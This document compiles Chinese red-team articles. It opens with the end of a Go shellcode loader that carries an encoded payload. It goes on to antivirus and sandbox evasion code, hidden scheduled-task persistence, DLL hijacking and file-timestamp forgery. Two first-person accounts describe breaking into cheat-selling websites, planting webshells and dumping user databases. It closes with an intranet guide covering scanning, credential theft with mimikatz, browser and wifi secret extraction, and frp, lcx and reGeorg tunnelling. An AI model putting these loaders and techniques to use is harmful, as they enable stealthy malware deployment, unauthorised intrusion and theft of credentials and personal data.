1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
    decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
    for i := 0; i < len(decodedShellcode); i++ {
        decodedShellcode[i] ^= 0x77
    }

    // 获取 kernel32.dll 中的 VirtualAlloc 函数
    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(decodedShellcode))
    mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decodedShellcode)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

通用杀软bypass技巧

  • 免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵url地址,后者需要两个文件更适合维权使用
  • 垃圾代码填充,在加载shellcode前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测
  • 选择小众语⾔来编写制作loader特征较少,工具除了CS也可使用vshell等其他自写C2

一键生成免杀

臭不要脸的我又来安利一波github项目,咳咳,觉得还可以的师傅可以点个star

免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly

千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji

编译参数的影响

go:  
-race   竞态检测编译  
-ldflags '-s -w'   去除编译信息  
-ldflags '-H windowsgui'   隐藏窗口  
  
garble(混淆库):  
-tiny                    删除额外信息  
-literals               混淆文字  
-seed=random   base64编码的随机种子

举个例子,编译一个无害化的代码使用了 -literals 参数,360仍会报毒,不加则不报毒

package main  
  
func main() {  
    // 两个要相乘的数字  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i < num2; i++ {  
        result += num1  
    }  
}

image-20231103142821152

-H windowsgui参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是win11下仍有黑框)

package main  
  
import "github.com/lxn/win"  
  
func main(){  
  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)  
}
func box()int{  
    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")  
    FreeConsole.Call()  
    return 0  
}  
  
func main() {  
  box()

静态特征处理

混淆处理

go低版本 https://github.com/boy-hack/go-strip

go高版本 https://github.com/burrowers/garble

mangle替换字符串

https://github.com/optiv/Mangle

Mangle.exe -I xxx.exe -M -O out.exe

mangle处理前后对比,可发现对go编译特征字符串替换为随机字符
image-20231104111621701

base64编码变量

cmd := exec.Command("rundll32.exe", "xxx")

关键字符串进行Base64编码,并在相应位置替换变量值

encodedCommand := "cnVuZGxsMzIuZXhl"  
encodedArguments := "MTExTdGFydA=="  
  
// 解码Base64编码的命令和参数  
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)  
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)  
  
cmd := exec.Command(string(decodedCommand), string(decodedArguments))

QVM绕过

添加资源

1、添加图标签名版权等信息内容,可使用以下项目一键添加

image-20231104111439772

https://github.com/Pizz33/360QVM_bypass
https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public
https://github.com/langsasec/Sign-Sacker

0hzfg40caje13229.png

image-20230504161714715

行为特征

运行直接加载shellcode,一般会直接报qvm

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}

先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i < num2; i++ {  
        result += num1  
    }  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}  

好用的反沙箱技巧

出口IP判断

func san() {  
  url := "https://myip.ipip.net/"  
  
  resp, err := http.Get(url)  
  if err != nil {  
    os.Exit(1)  
  }  
  defer resp.Body.Close()  
  
  body, err := ioutil.ReadAll(resp.Body)  
  if err != nil {  
    os.Exit(1)  
  }  
  
  content := string(body)  
  
  if strings.Contains(content, "中国") {  
  } else {  
    os.Exit(1)  
  }  
  }

检测桌面文件数量

func desktop() {  
    desktopPath, err := os.UserHomeDir()  
    if err != nil {  
        fmt.Println("无法获取用户桌面路径:", err)  
        return  
    }  
  
    desktopPath = filepath.Join(desktopPath, "Desktop")  
    fileCount, err := countFilesInDir(desktopPath)  
    if err != nil {  
        fmt.Println("无法读取用户桌面文件列表:", err)  
        return  
    }  
  
    fmt.Println("用户桌面文件数:", fileCount)  
  
    if fileCount < 7 {  
        os.Exit(0)  
    }  
    // 在这里编写你的其他代码逻辑  
}

检测微信等常见软件

func CheckWeChatExist() {  
  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)  
  if err != nil {  
    os.Exit(0)  
  }  
  defer k.Close()  
  
  s, _, err := k.GetStringValue("InstallDir")  
  if err != nil || s == "" {  
    os.Exit(0)  
  }  
}

检测pagefile.sys

func sys() {  
    pageFilePath := "C:\\pagefile.sys"   
    _, err := os.Stat(pageFilePath)  
    if os.IsNotExist(err) {  
        os.Exit(1)  
    } else if err != nil {  
    } else {  
    }  
}

判断系统类型

func language() {  
    language := os.Getenv("LANG")  
  
    if strings.Contains(language, "en_US") {  
        os.Exit(0)  
    } else {  
    }  
}

内存流量处理

流量侧可通过云函数或者CDN进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意oss权限设置避免被溯源

https://github.com/9bie/oss-stinger
https://github.com/pantom2077/alioss-stinger

自定义profile,可使用以下项目随机生成

https://github.com/threatexpress/random_c2_profile

内存混淆,动态加解密beacon内存,重载Ntdll等技术,可参考下面文章

https://www.freebuf.com/articles/system/361161.html
https://idiotc4t.com/defense-evasion/load-ntdll-too

执行命令bypass

直接通过cs执行截图,spawn等敏感操作,容易导致beacon掉线,这时候可以使用bof替代,下面列举一些好用的

进程迁移 https://github.com/ajpc500/BOFs
截图 https://github.com/baiyies/ScreenshotBOFPlus
删除自身 https://github.com/AgeloVito/self_delete_bof
bypassuac提权 https://github.com/youcannotseemeagain/ele

可以定期去github上关注一些好用的bof
image-20231103171105881

权限维持

常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有

添加计划任务

在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以bypass常规杀软

部分实现代码:
https://github.com/capnspacehook/taskmaster

package main  
  
import (  
    "os"  
    "github.com/capnspacehook/taskmaster"  
)  
  
func runWinTask(path string) {  
    // 创建初始化计划任务  
    taskService, _ := taskmaster.Connect()  
  
    defer taskService.Disconnect()  
    // 定义新的计划任务  
    newTaskDef := taskService.NewTaskDefinition()  
    // 添加执行程序的路径  
    newTaskDef.AddAction(taskmaster.ExecAction{  
        Path: path,  
    })  
    // 定义计划任务程序的执行时间等,设置为开机启动  
    newTaskDef.AddTrigger(taskmaster.BootTrigger{  
        TaskTrigger: taskmaster.TaskTrigger{  
            Enabled: enable,  
        },  
    })  
  
    // 创建计划任务  
    result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)  
    result=result  
}  
  
func main() {  
    path, err := os.Executable()  
    if err != nil {  
        return  
    }  
  
    runWinTask(path)  
}

隐藏计划任务

具体原理可参考0x727师傅的文章

https://github.com/0x727/SchTask_0x727
https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html

  • 选择主机随机进程名作为计划任务程序文件名
  • 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\
  • 创建的计划任务名取同一随机进程
  • 计划任务触发器以分钟为单位,无限期持续
  • 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件

dll劫持替换

比较常用的有 C:\Program Files (x86)\Google\Update

GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

image-20230823124612928

单个查找

https://github.com/wietze/windows-dll-hijacking

image-20231103200348808

批量查找

https://github.com/knight0x07/ImpulsiveDLLHijack

ImpulsiveDLLHijack.exe -path xxx.exe

这里使用navicat进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

image-20231104111621701

image-20231102183639496

修改文件时间

当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急
image-20231103104619412

这时候我们可以使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果

image-20231103104702070

查看net版本

shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r  

需要安装net3.5 没有安装一下

shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe  
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs

https://github.com/MsF-NTDLL/ChTimeStamp

shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll  
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll

image-20231103104735678

https://github.com/sorabug/ChangeTimestamp

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27

image-20230505092903602

    转自于原文连接: https://forum.butian.net/share/2532

 


       

一、案例1

因为最近吃鸡被外挂打自闭了,所以准备也让那些卖挂的体会一下什么叫做自闭。昨天晚上爬了快1000个卖吃鸡外挂的平台

图片

你们这些卖挂的,等我有空了一个一个捶。

发现大多数都是用的一套aspx的程序,可惜没有源码不能白盒审计,黑盒也找不到什么洞

只能找找软柿子捏,昨天晚上一口气锤了四个

图片

图片

图片

基本上都有宝塔

图片

不过php-venom 4 系列加上配套的编码器过宝塔稳得一批

图片

图片

图片

脱了裤子发现里面4000+数据

图片

今天晚上又锤了一个吃鸡外挂站

可惜尴尬的是没有写入权限

写篇大水文记录一下

1. 无套路进后台

图片

这个应该算是那种推广站,里面什么都没有,只有宣传内容

管你是什么,照锤不误。

看了一下是织梦二次开发的站

后台很容易进,这里大家都明白什么意思。

图片

图片

2.玄学后台

发现后台删了很多功能,特别是织梦的坑货文件管理器

但是从经验上来说很多这种二次开发的并不是真的把编辑器删掉了,只是在后台页面不显示了。

审查元素启动

随便找个链接改一下,替换成media_main.php?dopost=filemanager

然后点击,果然找到了文件管理器页面

图片

上传shell

图片

本来以为就这样结束了

结果发现虽然提示上传成功但是啥都没有

还以为是waf,就换了人畜无害的一张jpg上去也是啥都没有

以为是目录权限问题

找到session的临时文件,上传,照样不行

图就不放了,总之就是传不上去

觉得可能是整站没写权限

随手试试删除功能,发现可以删文件

emmmmm,所以到底是有权限没有呢

一般来说没写权限的话也就没有修改权限,也就是没有删除权限

想着是不是上传功能坏了,换个方法getshell吧

3.geshell失败

首先想到的就是改文件,里面放个shell

显示csrf token不对

搜了搜怎么解决

发现是直接改check函数,第一句加上return

结果修改config.php 文件也弹这个错误

所以就陷入死循环。。。

改标签也是一样的错误。

然后试了织梦的各个0day,后台代码任意执行

提示执行成功了,但是要么404页面,要么就是csrf token报错

为啥老是csrf token检测失败,以前就没遇到过这种问题。是我操作不对吗?

如果有表哥知道为什么的话麻烦告诉我一下谢谢

4.成功getshll

本来想想算了,然后出去吃了个饭。

然后想着既然是弱口令会不会有其他人的后门呢。

就想起来织梦有个自带的后门查杀功能

同样的审查元素,找到后门查杀功能,开始扫描

果然发现可疑文件

然后一看全是其他人的后门

随便找一个,连接上去


5. 最后

发现是星外主机,并且全站没有写入权限,难怪传不上去。。。

翻了翻目录,不能跨站,没写权限,无法bypass disable function

等于是啥都没有。。。

但是神奇的是可以任意文件删除

站就不删了,保存一下证据


二、案例2

首先打开网站我们可以看到他的炫酷界面

暖心公告

不要脸的宣传词

1.发现注入

基于tp3开发,后台/admin

尝试万能密码

提示密码错误

尝试admin admin888 提示账号不存在

两者回显不同,考虑可能存在注入

2.无法利用

burp抓包发送到repeater进行进一步测试

发现条件为真时返回status: -2,条件为假时返回status: -1

进一步印证了猜想,后台存在注入

扔到sqlmap跑

无法检测出注入,提示一堆404 not found

开始以为是cdn封锁了sqlmap的流量,后来发现根本没什么防护。。。虚假的cdn

于是考虑可能是cms自身过滤了一些东西

3.绕过过滤

经过测试发现只要出现尖括号就会返回404

可以用between来绕过

这时就继续按照 条件真=>-2 条件假=>-1 来回显

也就满足了盲注的条件

忽然一想这个情景跟第五空间决赛的那道注入题一毛一样

真返回一个页面 假返回另一个页面 出现被过滤字符返回其它页面 并且要用between来绕过

CTF诚不欺我

所以只要在sqlmap的参数里加上--tamper=between 即可

4.最后

数据库里管理员密码用的aes加密,没有秘钥,无法解密。

普通用户登录口被关闭,无法注册也无法登录。

除了脱出来一堆孤儿的信息其他也没什么用

打包一下证据,全部提交有关部门



转载于原文链接: https://mp.weixin.qq.com/s/Bms1EPvpb1S7sU2KQX8ctA

外网进内网通常就是通过web漏洞拿取shell

内网的很大一部分信息收集是围绕网络拓扑图展开的。可以社工运维或者google找一下。

内网扩散信息收集

概述

  • 内网信息收集
    • 内网网端信息:对内网进行拓扑、分区
    • 内网大小
  • 内网核心业务信息
    • oa系统、邮件服务器、监控系统....
  • 其他
    • Windows、linux主机信息收集

内网信息收集做的越好,打的越快

  • 常用方法
    1. 主动扫描。常用工具: nmap,netdiscover,nc,masscan,自写脚本等
    2. 常用端口和服务探测
    3. 内网拓扑架构分析。如dmz,测试网等
    4. 命令收集
    5. 本机信息

nmap的流量很大。因为nmap用了很多方式进行扫描,准确率高的同时流量较大,外网可以用
主动扫描留下的痕迹很多且较难清楚。被动扫描需要的时间较长。视情况扫描

一般都是先扫80端口等。因为外网网站可能做的很好,内网网站烂的爆,sql注入、xss等web漏洞一把一把的。

主动扫描

  1. ping命令扫描内网中的存活主机
    • 优点:方便,一般不会引起流量检测设备的报警
    • 缺点:扫描速度慢,目标开了防火墙会导致结果不准
  2. nmap扫描存活主机(icmp扫描)
    • nmap -sn -PE -n -v -oN 1.txt 目标ip
    • 参数: -sn 不进行端口扫描;-PE 进行icmp echo扫描;-n 不进行反向解析;-v 输出调试信息;-oN输出
  3. nmap 扫描存活主机(arp扫描)
    • nmap -sn -PR -n -v 目标IP
    • 参数:-PR代表arp扫描,在内网中arp扫描速度最快且准确率高
  4. 使用netdiscover扫描(arp扫描工具,既可以主动扫描也可以被动嗅探)
    • netdiscover -i eth0 -r 目标IP
    • m2nmhdcx3co15216.png
    • 参数说明:-i:指定一个接口;-r∶指定扫描范围
      • 注意: netdiscover时间越久越精确,可以发现某一台主机在一段时间内介入了那些网段,从而发现其他新的网段地址
  5. 用nbtscan工具进行快速扫描存活PC端,同时获得NETBIOS(windows往上输入输出服务,139端口)
    • nbtscan -r 目标IP
    • a2lyssh3o2e15217.png

端口和服务扫描

  1. 探测目标开放端口
    • nmap探测:nmap -Pn -n 目标IP(禁ping扫描)
    • masscan扫描:masscan -p 端口号 目标IP地址 --rate=10000 #用10kpps速度扫描端口
    • jc0ivxquap015219.png
  2. 探测目标操作系统
    • 使用NSE脚本: nmap --script smb-os-discovery.nse -p 445 目标IP地址
      • 其中: smb-os-discovery.nse脚本通过smb来探测操作系统版本、计算机名、工作组名、域名等等信息。--script指定脚本
      • a1wrqsc1i4415221.png
    • 使用nmap -O探测操作系统版本
      nmap -O 目标IP
  3. 扫描主机存在的CVE漏洞
    • nmap --script=vuln 目标IP

内网常用命令

命令说明
net user本机用户列表
net view查询同一域内的机器列表
net localgroup administrators查看本机管理员
net user /domain查询域用户
net group /domain查询域里面的工作组
net group "domain admins”/domain查询域管理员用户组
net localgroup administrators /domain登陆本机的域管理员
net localgroup administrators workgroup \user /add域用户添加到本机
net group "Domain controllers"查看域控

/domain为域渗透参数。域管理有一台权限很高的机器,拿下之后能控制整个域的服务器,称为域控。

  • dsquery 域命令(后面再写域渗透)
命令作用
dsquery computer domainroot -limit 65535 && net group "domain computers"/domain列出域中内所有机器名
dsquery user domainroot -limit 65535 && net user /domain列出该域内所有用户名
dsquery subnet列出该域内网段划分
dsquery group && net group /domain列出该域内分组
dsquery ou列出该域内组织单位
dsquery server && net time /domain列出该域内控制器

windows主机信息收集

这里是在拿下最高权限之后的信息收集。

  • 主要收集内容
  1. 系统管理员密码(hash->明文)
  2. 其他用户的session,3389,ipc连接记录以及各用户回收站信息收集
  3. 浏览器密码和cookies的获取
  4. windows无线密码获取
  5. 数据库密码获取
  6. host文件,dns缓存信息
  7. 杀毒软件,补丁,进程,网络代理信息
  8. 共享文件夹,web服务器配置文件等
  9. 计划任务,账号密码策略,锁定策略

windows杂七杂八的信息收集

  • 工具:mimikatz、wce、getpass、quarkspwdump、reg-sam、pwdump7等
  • cmdkey用于保存用户名和密码的凭证。
    • cmdkey /list查看凭据位置
    • netpass.exe获取密码
  • 回收站信息获取
    • 进入回收站文件夹cd C:$RECYCLE.BIN(该文件夹为隐藏文件夹,dir /ah查看内容,a指定属性h表示隐藏)
  • 获取无线密码
    • netsh wlan export profile interface=WLAN key=clear folder=C:\
  • 获取浏览器的cookie和存储密码(chrome)
    • %localappdata%\google\chrome\USERDATA\default\cookies%localappdata%\googlelchrome\USERDATA\default\Login
    • Datachrome的用户信息保存在本地文件为sqlite数据库格式
    • 使用mimikatz读取内容:
      mimikatz.exe privilege:debug log "dpapi:chrome /in:%localappdata%google\chrome\USERDATA\default\cookies /unprotect"

msf下的windows信息收集

模块使用
post/windows/gather/forensics/enum_drives获取目标主机的磁盘分区情况
post/windows/gather/checkvm判断目标主机是否为虚拟机
post/windows/gather/enum_services查看开启的服务
post/windows/gather/enum_applications查看安装的应用
post/windows/gather/enum_shares查看共享
post/windows/gather/dumplinks查看目标主机最近的操作
post/windows/gather/enum_patches查看补丁信息
scraper导出多个信息

use or run模块,设置参数后expoilt

linux信息收集

linux信息收集内容比起windows少很多

  • history命令
    • 用于显示历史执行命令。能显示当前用户在本地计算机中执行的1000条命令。查看更多在/etc/profile文件中自定义HISTSIZE的变量值。
    • 使用history -c命令会清空所有命令的历史记录。
    • 每个用户的history不同
  • last命令
    • 用于查看系统所有近期登录记录。
    • 执行last命令时,会读取/var/log/wtmp的文件。
      dl0zxtxw45515227.png
    • 用户名 终端位置 登录IP或者内核 开始时间 结束时间
    • 如果是系统漏洞提权,不属于登录,无记录
  • arp -vn
    • 聚类检查是否有超同组业务外的arp地址
    • mac地址对应ip固定,mac不对应ip则为arp欺骗
  • /etc/hosts文件
    • 存储域名/主机名到ip映射关系

msf下的linux收集

模块使用
post/linux/gather/checkvm判断目标主机是否为虚拟机
post/linux/gather/enum_configs查看配置信息
post/linux/gather/enum_network查看网络
post/linux/gather/enum_protections查看共享
post/linux/gather/enum_system查看系统和用户信息
post/linux/gather/enum_users_histroy查看目标主机最近的操作
post/linux/gather/hashdump获取linux的hash

但是我仍要强调,被动收集很重要,内网被动收集要安全很多,但是周期很长。主动一分,就危险一分

收集内容总结

网卡信息、arp缓存、路由缓存、网站配置文件、数据库、访问日志、浏览器历史记录、netstat、hosts文件、history、hash、明文密码、网站配置账密、wifi、cmdkey

内网转发

  • 内网转发的目的

理论上通过网络连接的计算机都是可以互相访问的,但是因为技术原因没有实现。如局域网中某计算机仅开放web服务,则只能内网使用,外网无法直接访问。要让外网用户直接访问局域网服务,必须进行内网转发等操作
xho3lpxqxrf15228.png

  • 内网转发原理
    通过服务器进行中转,将内部的端口映射到公网IP上,或者将内网端口转发至外部服务器
  • 内网转发的三种形式
  1. 端口转发

用于目标机器对某一端口的访问进行了限制。可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网IP上

  1. 端口映射

将一个内网无法访问的端口映射到公网的某个端口,进而进行攻击。比如:3389端口

  1. 代理转发

主要用于在目标机器上做跳板,进而可以对内网进行攻击

  • 四种基本的网络情况
    • 攻击者有独立外网IP,拿到shell的服务器也有独立的外网IP
    • 攻击者有独立外网IP,拿到shell的服务器在内网,只有几个映射端口
    • 攻击者在内网,服务器也在内网只有几个映射端口
    • 攻击者在内网,服务器有独立外网IP

四种情况有不同拿下服务器的方式

端口转发

  • 原理
    端口转发是转发一个网络端口一个网络节点到另一个网络节点的行为。使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。
    简单地说︰端口转发就是将一个端口(这个端口可以本机的端口,也可以是本机可以访问到的任意主机的端口)转发到任意一台可以访问到的IP上,通常这个IP是公网ip
  • 端口转发场景∶
    外网主机A已经可以任意连接内网主机B上的端口,但是无法访问内网主机C上的端口
    此时可以将C主机的端口转发到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某端口
    o1eftkt4edl15230.png

端口转发工具

lcx

lcx是一个居于socket套接字实现的端口转发工具,有windows和linux两个版本,windows叫lcx.exe,linux叫portmap
一个正常的socket隧道必须具备两端:服务器端和客户端

windows下:
  • 转发端口:lcx.exe -slave 公网IP 端口 内网IP 端口
  • 监听端口:lcx.exe -listen 转发端口,本机任意没有没有被占用的端口
  • 映射端口:lcx.exe -tran 映射端口号 ip 目标端口
  • 本地端口映射:如果目标服务器由于防火墙的限制,部分端口的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口
    lcx.exe -tran 映射端口号 目标ip 目标端口
  • 内网端口转发:如下规则时,主机不能直接访问内网,这时就需要web服务器当跳板,也就是代理来使攻击机访问到内网主机
    gl04tutgv4d15231.png
    基本命令:
    ·转发端口lcx.exe -slave 公网ip 端口 内网ip 端口
    ·监听端口lcx.exe -listen 转发端口 本机任意没有被占用端口

windows端口转发实例
环境︰内网主机不能访问外网,但是可以访问同网段的内网机器,同时80端口只能本地访问,但是8080端口对外开放。

步骤一:被控服务器的80端口转发到本地的8080端口 lcx -tran 8080 127.0.0.1 80
步骤二∶在内网被控服务器上连接内网能够对外访问的服务器 lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步骤三∶在能够对外访问的内网机器上监听端口 lcx -listen 4444 12345
步骤四∶外网机器访问192.168.56.1的12345端口也就是从服务器12345->服务器4444->外网8080->内网80
在外网192.168.64.230访问192.168.64.103:12345

linux下:

用法: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
v:version

-m:指定method action参数
method=1:监听port1连接至主机2的port2(端口映射)
method=2:监听Port1转发至port2
method=3:连接主机1对应的端口和主机2对应的端口(端口转发)

如:./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777//监听来自6666端口的请求并转发至7777

frp

  • FRP(fast reverse proxy)是用go语言开发的反向代理应用,可以进行内网穿透
  • frp支持tcp\udp\http\https

frp用处

  1. 利用处于内网防火墙的机器,对外网提供http\https\tcp\udp服务
  2. 对于http,https服务支持基于域名的虚拟主机,支持自定义域名,是多个域名共用一个80端口

下载后frp文件内frps,frps.ini为服务端程序和配置文件,frpc,frpc.ini是客户端程序及配置文件

  • 服务端设置

修改frp.ini
文件格式:

[common]
bind_port = 7000 #frp服务器监听㐰
dashboard_port = 7500 #web后台监听端口
dashboard_user =admin #web后台用户名及密码
dashboard_pwd = admin
token = 123456 #客户端和服务器的连接口令

运行frps服务器端 ./frps -c frps.ini #-c意思是加载配置文件
访问x.x.x.x:7500,使用自己设置的用户名和密码登录

  • 客户端设置

修改frpc.ini文件

[common]
server_addr = 192.168.152.217
#服务端IP地址
server_port = 7000
#服务器端口
token = 123456
#服务器上设置的连接口令
[http]
#自定义规则,[xxx]表示规则名
type = tcp
#type:转发的协议类型
local_ip = 127.0.0.1
local_port = 3389
#本地应用的端口号
remote_port = 7001
#这条规则在服务端开放的端口号

配置完成frp.ini后,cmd运行frpc(和服务端一样-c指定配置文件)
在局域网外客户端连接服务端的remote_port端口

该工具可跨平台,也就是windows exe程序连接linux
上述操作也就相当于listen 7000转到7001然后连接

metasploit portfwd

  • 简介
    一款内置于meterpreter shell中的工具,直接访问攻击系统无法访问的机器。在可以访问攻击机和靶机的受损主机上运行此命令,可以通过本机转发TCP连接,成为一个支点。

选项
-L∶要监听的本地主机(可选).
-l : 要监听的本地端口,与此端口的连接将被转发到远程系统·
-p∶要连接的远程端口,TCP连接将转发到的端口
-r∶要连接的远程主机的IP地址
参数
Add :该参数用于创建转发
portfwd add -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
Delete :这将从转发端口列表中删除先前的条目.
portfwd delete -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
List :列出当前转发的所有端口
portfwd list
Flush :这将删除转发列表中的所有端口

这个不太稳定,不如frp,lcx不怎么用了。

边界代理

代理类别:HTTP代理、socks代理、telnet代理、ssl代理
代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux)

内网通过代理连接外部网络为正向代理,外网通过代理连接内网为反向代理。
负载均衡服务器:将用户的请求分发到空闲服务器上。

  • socks代理
    当通过代理服务器访问一个网站时,socks服务器起到了一个中间人的身份,分别与两方通信然后将结果告知另一方。只要配置好socks代理后无需指定被访问目标
    socks和http代理走的是tcp流量,意思是udp的协议不能用这两种代理
  • 代理和端口转发的异同:
代理端口转发
需要socks协议支持无需协议支持
一对多,访问网络一对一,帮助他人访问某端口

socks代理可以理解为lcx端口转发,他在服务端监听一个服务端口,有连接请求时会从socks协议中解析出访问目标url的目标端口

意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。

proxychains

  • proxychains是一个开源代理工具,可以在linux下全局代理。proxychains通过一个用户定义的代理列表强制连接指定的应用程序,支持http\socks4\socks5类型。
  • 使用
  1. 在使用工具前要对工具进行配置,配置文件:/etc/proxychains.conf
    删除dynamic_chain的注释
    底部添加代理服务器
    proxychains 软件名以代理启动任意软件

regeorg工具

  • regeorg主要是把内网服务器端口通过http/https隧道转发至本机,形成回路
  • 用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口
  • 利用webshell建立一个socks代理进行内网穿透,则服务器必须支持aspx\php\jsp中的一种
  • regeorg分为服务端和客户端。服务端有php\aspx\jsp\node.js等多种,客户端为python,所以用的时候文件里面找对应脚本

regeorg使用

和proxychains结合使用

  1. pip install安装
  2. 假设服务器是php版本,将regeorg里的php上传到服务器,直接访问显示"georg says,'all seems fine'",为正常运行
    fpdys5k1usv15233.png
  1. 终端下运行:python reGeorgSocksProxy.py -u 靶机reGeorg脚本地址 -p 本地监听端口
  2. 再起一个终端修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行socks5 127.0.0.1 本地监听端口,并把其他的注释
    cg5xbx11k3c15239.png

代理就配置好了

  1. 使用proxychains 命令,流量会自动从配置文件端口经过(python跑的脚本终端别关)

但是在msf外配置的代理,msf内部流量是不会走代理过的

msf route

msf框架中自带路由转发功能,在已经获取meterpreter shell的基础上添加一条去往内网的路由
avecflddth315242.png

路由添加: run autoroute -s 内网网端
run autoroute -p 查看路由添加情况

proxifiler

proxifiler为windows客户端代理工具,socks5客户端,可以让不支持通过代理服务器工作的程序通过https或socks5代理或代理链

  • 支持socks4\socks5\http\tcp\udp。有gui
    使用:profil配置代理ip和端口。proxification rules设置代理规则,不需要代理的设为direct模式

